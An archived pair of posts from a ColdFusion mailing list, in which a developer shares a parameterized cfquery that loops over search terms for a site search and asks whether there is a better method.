  cfloop list=#mylst# index=i
OR CAST(feature_text as VARCHAR) like
  cfqueryparam value=%#i#% cfsqltype=CF_SQL_VARCHAR /
  /cfloop
  ORDER BY feature_date desc
 /cfquery


__ Information from ESET NOD32 Antivirus, version of virus signature 
database 5138 (20100522) __

The message was checked by ESET NOD32 Antivirus.

http://www.eset.com



~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:333915
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


Re: Little Help with a Site Search Query

2010-05-22 Thread Les Mizzell

This ended up doing it:

XOXO is always the last list item...


cfquery name=features
 datasource=#req.data#
 username=#req.user#
 password=#req.pass# 
 SELECT
  id_feature,
  feature_headline,
  feature_date,
  year(feature_date) as theYEAR,
  feature_text
 FROM feature
 WHERE
 cfloop list=#lst.srchTHS# index=i
   feature_headline like
cfqueryparam value=%#i#% cfsqltype=CF_SQL_VARCHAR /
   OR feature_text like
cfqueryparam value=%#i#% cfsqltype=CF_SQL_VARCHAR /
   cfif #i# eq XOXOcfelseOR/cfif
 /cfloop
ORDER by feature_date DESC
/cfquery

...unless anybody has a better idea...

lst.srchTHS won't ever be more then three to five words or so, but I 
wish I could figure a way to use cfqueryparam list=yes instead of a 
loop...


__ Information from ESET NOD32 Antivirus, version of virus signature 
database 5138 (20100522) __

The message was checked by ESET NOD32 Antivirus.

http://www.eset.com



~|
Order the Adobe Coldfusion Anthology now!
http://www.amazon.com/Adobe-Coldfusion-Anthology-Michael-Dinowitz/dp/1430272155/?tag=houseoffusion
Archive: 
http://www.houseoffusion.com/groups/cf-talk/message.cfm/messageid:333928
Subscription: http://www.houseoffusion.com/groups/cf-talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/groups/cf-talk/unsubscribe.cfm


  1   2   3   4   5   6   7   8   9   10   >